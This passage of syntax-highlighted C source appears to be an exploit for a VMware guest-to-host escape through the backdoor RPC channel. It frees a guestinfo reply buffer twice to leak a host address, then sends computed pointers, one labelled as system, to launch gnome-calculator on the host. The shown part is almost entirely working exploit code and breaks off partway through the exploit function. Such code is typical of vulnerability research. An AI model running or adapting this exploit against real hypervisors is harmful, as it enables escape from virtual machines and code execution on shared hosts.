1434    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;recv len:%d</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">len</span><span class="p">);</span>
1435    <span class="n">data</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span>
1436    <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span>
1437    <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
1438        <span class="n">channel_recv_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">data</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1439    <span class="p">}</span>
1440    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;recv data:%s</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">data</span><span class="p">);</span>
1441    <span class="c1">//second step free the reply and let the other channel get it.</span>
1442
1443    <span class="n">channel_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1444    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1445        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to open channel!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1446        <span class="k">return</span><span class="p">;</span>
1447    <span class="p">}</span>
1448    <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1449    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1450        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to set len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1451        <span class="k">return</span><span class="p">;</span>
1452    <span class="p">}</span>
1453
1454    <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">)</span><span class="o">-</span><span class="mi">4</span><span class="p">,</span><span class="n">s2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1455    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1456        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to send data</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1457        <span class="k">return</span><span class="p">;</span>
1458    <span class="p">}</span>
1459
1460    <span class="c1">//free the output buffer</span>
1461    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Freeing the buffer....,bp:0x5555556DD3EF</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1462    <span class="n">getchar</span><span class="p">();</span>
1463    <span class="n">channel_recv_finish2</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1464    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1465        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv finish1</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1466        <span class="k">return</span><span class="p">;</span>
1467    <span class="p">}</span>
1468    <span class="c1">//finished sending the command, should get the freed buffer</span>
1469    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1470    <span class="n">getchar</span><span class="p">();</span>
1471    <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="o">&amp;</span><span class="n">s2</span><span class="p">[</span><span class="mi">16</span><span class="p">],</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1472    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1473        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to send data</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1474        <span class="k">return</span><span class="p">;</span>
1475    <span class="p">}</span>
1476
1477    <span class="c1">//third step,free it again</span>
1478    <span class="c1">//set status to be 4</span>
1479    <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">len</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1480    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1481        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv data len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1482        <span class="k">return</span><span class="p">;</span>
1483    <span class="p">}</span>
1484    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;recv len:%d</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">len</span><span class="p">);</span>
1485
1486    <span class="c1">//free the output buffer</span>
1487    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Free the buffer again...</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1488    <span class="n">getchar</span><span class="p">();</span>
1489    <span class="n">channel_recv_finish2</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1490    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1491        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv finish2</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1492        <span class="k">return</span><span class="p">;</span>
1493    <span class="p">}</span>
1494
1495    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Trying to reuse the buffer as a struct, which we can leak..</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1496    <span class="n">getchar</span><span class="p">();</span>
1497    <span class="n">run_cmd</span><span class="p">(</span><span class="n">s5</span><span class="p">);</span>
1498    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Should be done.Check the buffer</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1499    <span class="n">getchar</span><span class="p">();</span>
1500
1501    <span class="c1">//Now the output buffer of chan[1] is used as a struct, which contains many addresses</span>
1502    <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">len</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1503    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1504        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv data len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1505        <span class="k">return</span><span class="p">;</span>
1506    <span class="p">}</span>
1507
1508
1509    <span class="n">data</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span>
1510    <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span>
1511    <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">;</span><span class="n">i</span><span class="o">+=</span><span class="mi">4</span><span class="p">){</span>
1512        <span class="n">channel_recv_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">data</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1513    <span class="p">}</span>
1514    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;recv data:</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1515    <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="n">len</span><span class="p">;</span><span class="n">i</span><span class="o">+=</span><span class="mi">8</span><span class="p">){</span>
1516        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;recv data:%lx</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
1517    <span class="p">}</span>
1518    <span class="n">text</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)</span><span class="n">data</span><span class="p">)</span><span class="o">-</span><span class="mh">0xf818d0</span><span class="p">;</span>
1519
1520    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Leak Success</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1521<span class="p">}</span>
1522
1523<span class="kt">void</span> <span class="nf">exploit</span><span class="p">(){</span>
1524    <span class="c1">//the exploit step is almost the same as the leak ones</span>
1525    <span class="k">struct</span> <span class="n">channel</span> <span class="n">chan</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
1526    <span class="kt">int</span> <span class="n">res</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
1527    <span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="n">i</span><span class="p">;</span>
1528    <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">;</span>
1529    <span class="kt">char</span> <span class="o">*</span><span class="n">s1</span> <span class="o">=</span> <span class="s">&quot;info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&quot;</span><span class="p">;</span>
1530    <span class="kt">char</span> <span class="o">*</span><span class="n">s2</span> <span class="o">=</span> <span class="s">&quot;info-get guestinfo.b&quot;</span><span class="p">;</span>
1531    <span class="kt">char</span> <span class="o">*</span><span class="n">s3</span> <span class="o">=</span> <span class="s">&quot;1 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&quot;</span><span class="p">;</span>
1532    <span class="kt">char</span> <span class="o">*</span><span class="n">s4</span> <span class="o">=</span> <span class="s">&quot;gnome-calculator</span><span class="se">\x00</span><span class="s">&quot;</span><span class="p">;</span>
1533    <span class="kt">
1533uint64_t</span> <span class="n">pay1</span> <span class="o">=</span><span class="n">text</span><span class="o">+</span><span class="mh">0xFE95B8</span><span class="p">;</span> 
1534    <span class="kt">uint64_t</span> <span class="n">pay2</span> <span class="o">=</span><span class="n">text</span><span class="o">+</span><span class="mh">0xECFD0</span><span class="p">;</span> <span class="c1">//system</span>
1535    <span class="kt">uint64_t</span> <span class="n">pay3</span> <span class="o">=</span><span class="n">text</span><span class="o">+</span><span class="mh">0xFE95C8</span><span class="p">;</span>
1536    <span class="kt">char</span> <span class="o">*</span><span class="n">pay4</span> <span class="o">=</span> <span class="s">&quot;gnome-calculator</span><span class="se">\x00</span><span class="s">&quot;</span><span class="p">;</span>
1537    <span class="n">run_cmd</span><span class="p">(</span><span class="n">s1</span><span class="p">);</span>
1538    <span class="n">channel_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1539    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1540        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to open channel!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1541        <span class="k">return</span><span class="p">;</span>
1542    <span class="p">}</span>
1543    <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1544    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1545        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to set len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1546        <span class="k">return</span><span class="p">;</span>
1547    <span class="p">}</span>
1548    <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="n">s2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1549    <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">len</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1550    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1551        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv data len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1552        <span class="k">return</span><span class="p">;</span>
1553    <span class="p">}</span>
1554    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;recv len:%d</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">len</span><span class="p">);</span>
1555    <span class="n">data</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span>
1556    <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span>
1557    <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">;</span><span class="n">i</span><span class="o">+=</span><span class="mi">4</span><span class="p">){</span>
1558        <span class="n">channel_recv_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">data</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1559    <span class="p">}</span>
1560    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;recv data:%s</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">data</span><span class="p">);</span>
1561    <span class="n">channel_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1562    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1563        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to open channel!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1564        <span class="k">return</span><span class="p">;</span>
1565    <span class="p">}</span>
1566    <span class="n">channel_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1567    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1568        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to open channel!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1569        <span class="k">return</span><span class="p">;</span>
1570    <span class="p">}</span>
1571    <span class="n">channel_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1572    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1573        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to open channel!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1574        <span class="k">return</span><span class="p">;</span>
1575    <span class="p">}</span>
1576    <span class="n">channel_recv_finish2</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1577    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1578        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv finish2</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1579        <span class="k">return</span><span class="p">;</span>
1580    <span class="p">}</span>
1581    <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s3</span><span class="p">),</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1582    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1583        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to set len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1584        <span class="k">return</span><span class="p">;</span>
1585    <span class="p">}</span>
1586    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;leak2 success</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1587    <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">len</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1588    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1589        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv data len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1590        <span class="k">return</span><span class="p">;</span>
1591    <span class="p">}</span>
1592    <span class="n">channel_recv_finish2</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1593    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1594        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv finish2</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1595        <span class="k">return</span><span class="p">;</span>
1596    <span class="p">}</span>
1597    <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="o">&amp;</span><span class="n">pay1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1598    <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s3</span><span class="p">),</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1599    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1600        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to set len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1601        <span class="k">return</span><span class="p">;</span>
1602    <span class="p">}</span>
1603    <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s3</span><span class="p">),</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1604    <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="o">&amp;</span><span class="n">pay2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
